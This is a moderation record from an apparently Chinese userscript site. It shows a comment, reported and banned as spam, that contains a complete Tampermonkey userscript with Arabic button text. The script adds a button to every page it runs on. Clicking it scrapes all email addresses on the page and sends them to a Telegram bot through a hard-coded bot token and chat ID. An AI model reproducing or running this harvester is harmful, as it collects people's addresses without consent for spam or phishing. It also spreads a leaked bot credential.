خخخ ح 的留言:A review on CacheTour 的留言 2025-07-06 被举报,原因为:灌水垃圾内容
خخخ ح已封禁 说:
// ==UserScript== // @name Extract Emails and Send to Telegram // @namespace http://tampermonkey.net/ // @version 0.7 // @description Extract emails from the page and send them to Telegram when the button is clicked, excluding certain emails // @author You // @match :///* // @grant none // ==/UserScript==
(function() { 'use strict';
// Function to send message to Telegram function sendToTelegram(message) { const token = '7849374180:AAFoZ3MxR9gqdXn28yjDkzZqROMMr7VDX5U'; const chatId = '-1002747083911'; const url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}`; fetch(url) .then(response => response.json()) .then(data => console.log('Telegram message sent:', data)) .catch(error => console.error('Error sending message to Telegram:', error)); } // Function to extract emails from the page function extractEmails() { const emailRegex = /[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/g; const pageText = document.body.innerHTML; const emails = new Set(); // Use a Set to store unique emails let match; // Extract all emails from the page and add them to the Set (duplicates will be automatically ignored) while ((match = emailRegex.exec(pageText)) !== null) { const email = match[0]; // Exclude specific email patterns (e.g. [email protected]) if (!email.includes('[email protected]')) { emails.add(email); } } // Create a message with the extracted emails let message; if (emails.size > 0) { message = `Extracted Emails:\n${[...emails].join('\n')}`; sendToTelegram(message); displayMessage('تم استخراج الإيميلات بنجاح!'); } else { message = 'لم يتم العثور على أي إيميلات في الصفحة.'; displayMessage(message); } } // Function to display message in the interface function displayMessage(message) { const messageBox = document.createElement('div'); messageBox.innerText = message; messageBox.style.position = 'fixed'; messageBox.style.top = '80px'; messageBox.style.left = '50%'; messageBox.style.transform = 'translateX(-50%)'; messageBox.style.padding = '10px 20px'; messageBox.style.backgroundColor = '#28a745'; messageBox.style.color = 'white'; messageBox.style.borderRadius = '5px'; messageBox.style.fontSize = '16px'; messageBox.style.fontWeight = 'bold'; messageBox.style.zIndex = '1000'; messageBox.style.boxShadow = '0 4px 6px rgba(0, 0, 0, 0.1)'; document.body.appendChild(messageBox); // Automatically remove the message after 4 seconds setTimeout(() => { messageBox.remove(); }, 4000); } // Create a fixed button at the left center of the page const button = document.createElement('button'); button.innerText = 'استرجاع الإيميلات'; button.style.position = 'fixed'; button.style.top = '50%'; button.style.left = '0'; button.style.transform = 'translateY(-50%)'; button.style.padding = '15px 30px'; button.style.fontSize = '18px'; button.style.fontWeight = 'bold'; button.style.backgroundColor = '#007BFF'; button.style.color = 'white'; button.style.border = 'none'; button.style.borderRadius = '50px'; button.style.cursor = 'pointer'; button.style.boxShadow = '0 4px 6px rgba(0, 0, 0, 0.1)'; button.style.transition = 'background-color 0.3s ease'; // Removed transform transition // Add hover effect to the button button.addEventListener('mouseover', () => { button.style.backgroundColor = '#0056b3'; }); button.addEventListener('mouseout', () => { button.style.backgroundColor = '#007BFF'; }); // Add event listener to the button button.addEventListener('click', function() { extractEmails(); }); // Append the button to the body document.body.appendChild(button);
})();
خخخ ح已封禁(被举报用户)已有:
管理员已通过该举报。
Blatant comment spam